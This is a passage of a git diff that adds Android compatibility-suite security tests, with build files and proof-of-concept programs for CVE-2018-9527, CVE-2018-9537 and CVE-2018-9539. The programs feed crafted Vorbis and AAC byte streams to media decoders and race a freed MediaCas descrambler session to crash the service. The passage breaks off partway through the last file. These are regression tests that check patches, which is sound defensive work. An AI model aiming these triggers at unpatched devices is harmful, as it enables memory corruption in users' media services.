+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp
new file mode 100644
index 0000000..fa32eb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/poc.cpp
@@ -0,0 +1,104 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdlib.h>
+#define REF_COUNT 1
+#define DECODE_PACKET 1
+
+extern "C" {
+#include <Tremolo/codec_internal.h>
+
+int _vorbis_unpack_books(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_info(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_comment(vorbis_comment *vc, oggpack_buffer *opb);
+}
+
+const uint8_t packInfoData[] = { 0x00, 0x00, 0x00, 0x00, 0x02, 0x80, 0xBB, 0x00,
+ 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0xBB, 0x01, 0xFF, 0xFF, 0xFF, 0xFF };
+
+unsigned char unpackBookData[] = { 0x00, 0x42, 0x43, 0x56, 0x1E, 0x00, 0x10,
+ 0x00, 0x00, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x10, 0x0A, 0xFF, 0x00, 0x00,
+ 0x00, 0x06, 0xD0, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x1D, 0x00, 0x00, 0x00,
+ 0x2C, 0x00, 0x03, 0x3C, 0x51, 0x04, 0x34, 0x4F, 0x04, 0x00, 0x40, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x40, 0x00, 0x00, 0x01, 0x4F, 0xF4,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xFF, 0xFF, 0xFF, 0xFF };
+
+unsigned char bufData[] = { 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xE7,
+ 0x00, 0x00, 0xE9, 0x00 };
+
+static void makeBitReader(const void *data, size_t size, ogg_buffer *buf,
+ ogg_reference *ref, oggpack_buffer *bits) {
+ buf->data = (uint8_t *) data;
+ buf->size = size;
+ buf->refcount = REF_COUNT;
+
+ ref->buffer = buf;
+ ref->length = size;
+ oggpack_readinit(bits, ref);
+}
+
+int main() {
+ ogg_buffer buf;
+ ogg_reference ref;
+ oggpack_buffer bits;
+
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+ memset(&bits, 0, sizeof(oggpack_buffer));
+
+ makeBitReader(packInfoData, sizeof(packInfoData), &buf, &ref, &bits);
+
+ vorbis_info *mVi = new vorbis_info;
+ vorbis_info_init(mVi);
+
+ int ret = _vorbis_unpack_info(mVi, &bits);
+ if (!ret) {
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+ memset(&bits, 0, sizeof(oggpack_buffer));
+
+ makeBitReader(unpackBookData, sizeof(unpackBookData), &buf, &ref,
+ &bits);
+
+ ret = _vorbis_unpack_books(mVi, &bits);
+ if (!ret) {
+ ogg_packet pack;
+ memset(&pack, 0, sizeof(ogg_packet));
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+
+ vorbis_dsp_state *mState = new vorbis_dsp_state;
+ vorbis_dsp_init(mState, mVi);
+
+ buf.data = bufData;
+ buf.size = sizeof(bufData);
+ buf.refcount = REF_COUNT;
+
+ ref.buffer = &buf;
+ ref.length = buf.size;
+
+ pack.packet = &ref;
+ pack.bytes = ref.length;
+
+ vorbis_dsp_synthesis(mState, &pack, DECODE_PACKET);
+ }
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk
new file mode 100644
index 0000000..761e5eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9537
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/aac/libAACdec/include
+LOCAL_C_INCLUDES += external/aac/libSYS/include
+LOCAL_SHARED_LIBRARIES := libbluetooth
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..7369a6c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,206 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include <string.h>
+#include "aacdecoder_lib.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = { 0xFF, 0xF1, 0x6C, 0x40, 0x41, 0x00,
+ 0x78 };
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = { 0xC1, 0x83, 0x06, 0x0C, 0x18, 0x30,
+ 0x60 };
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = { 0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B,
+ 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x77, 0xED, 0x88,
+ 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0 };
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+ public:
+ Codec() = default;
+ ~Codec() {
+ deInitDecoder();
+ }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+ private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize,
+ &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[kMaxOutBufferSize];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
+ sizeof(outputBuf), 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int main() {
+ Codec *codec = new Codec();
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ if (codec->initDecoder()) {
+ /* Allocate memory for bitstream buffer */
+ UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength
+ + (kNumFillElements * kFillElementsLength);
+
+ UCHAR* rawData = (UCHAR *) malloc(rawDataSize);
+ if (!rawData) {
+ return EXIT_FAILURE;
+ }
+
+ /* Copy header, aac stream to bitstream buffer */
+ UCHAR* writePtr = rawData;
+ memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+ writePtr += kAdtsHeaderLength;
+
+ for (uint32_t i = 0; i < kNumFillElements; ++i) {
+ memcpy(writePtr, kFillElements, kFillElementsLength);
+ writePtr += kFillElementsLength;
+ }
+
+ memcpy(writePtr, kAacStream, kAacStreamLength);
+
+ /* Decode bitstream */
+ codec->decodeFrames(rawData, rawDataSize);
+ free(rawData);
+ }
+
+ delete codec;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ liblog \
+ android.hardware.cas@1.0 \
+ android.hardware.cas.native@1.0 \
+ libhidlbase \
+ libhidltransport \
+ libhwbinder \
+ libbinder \
+ libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..0b464e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+ RESULT_CRASH,
+ RESULT_SESSION1,
+ RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+ "{ "
+ " \"id\": 21140844, "
+ " \"name\": \"Test Title\", "
+ " \"lowercase_organization_name\": \"Android\", "
+ " \"asset_key\": { "
+ " \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\" "
+ " }, "
+ " \"cas_type\": 1, "
+ " \"track_types\": [ ] "
+ "} ";
+static const uint8_t ecm_buffer[] = {
+ 0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+ 0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+ 0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+ 0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+ 0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+ 0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+ 0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+ // Prepare everything needed for an encrypted run of descramble
+
+ sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+ native_handle_t *handle = native_handle_create(1, 0);
+ handle->data[0] = heap->getHeapID();
+
+ SharedBuffer src;
+ src.offset = 0;
+ src.size = 0x1000;
+ src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+ DestinationBuffer dst;
+ dst.type = BufferType::SHARED_MEMORY;
+ dst.nonsecureMemory = src;
+
+ hidl_vec<SubSample> subsamples;
+ SubSample subsample_arr[0x100] = {
+ {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+ subsamples.setToExternal(subsample_arr, 0x100);
+
+ Status descramble_status;
+
+ // Wait for all other threads
+ pthread_barrier_wait(&barrier);
+
+ // Run descramble
+ Return<void> descramble_result = descrambler->descramble(
+ ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+ [&](Status status, uint32_t, const hidl_string &) {
+ descramble_status = status;
+ });
+
+ // Cleanup
+ native_handle_delete(handle);
+
+ if (!descramble_result.isOk()) {
+ // Service crashed, hurray!
+ return (void *)RESULT_CRASH;
+ }
+
+ // If descramble was successful then the session had a valid key, so it was
+ // session1. Otherwise it was session2.
+ return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+ : RESULT_SESSION2);
+}
+
+int main() {
+ // Prepare cas & descrambler objects
+
+ sp<IMediaCasService> service = IMediaCasService::getService();
+ FAIL_CHECK(service != NULL);
+
+ sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+ FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+ sp<IDescramblerBase> descramblerBase =
+ service->createDescrambler(CLEARKEY_SYSTEMID);
+ descrambler = IDescrambler::castFrom(descramblerBase);
+
+ time_t timer = start_timer();
+ while (timer_active(timer)) {
+ // Prepare sessions
+ Status opensession_status;
+ hidl_vec<uint8_t> session1;
+ cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+ opensession_status = status;
+ session1 = sessionId;
+ });
+ FAIL_CHECK(opensession_status == Status::OK);
+ // Add a key to the first session. This will make descramble work only on
+ // the first session, helping us differentiate between the sessions for
+ // debugging.
+ hidl_vec<uint8_t> ecm;
+ ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+ FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+ hidl_vec<uint8_t> session2;
+ cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+ opensession_status = status;
+ session2 = sessionId;
+ });
+ FAIL_CHECK(opensession_status == Status::OK);
+
+ // Set the descrambler's session to session1, then close it (and remove it
+ // from the sessions map). This way the only reference on the service to
+ // session1 will be from descrambler's session.
+ FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+ FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+ // Prepare the threads which run descramble
+ FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+ pthread_t threads[THREADS_NUM];
+ for (size_t i = 0; i < THREADS_NUM; i++) {
+ FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+ }
+
+ // Let the threads run by waiting on the barrier. This means that past this
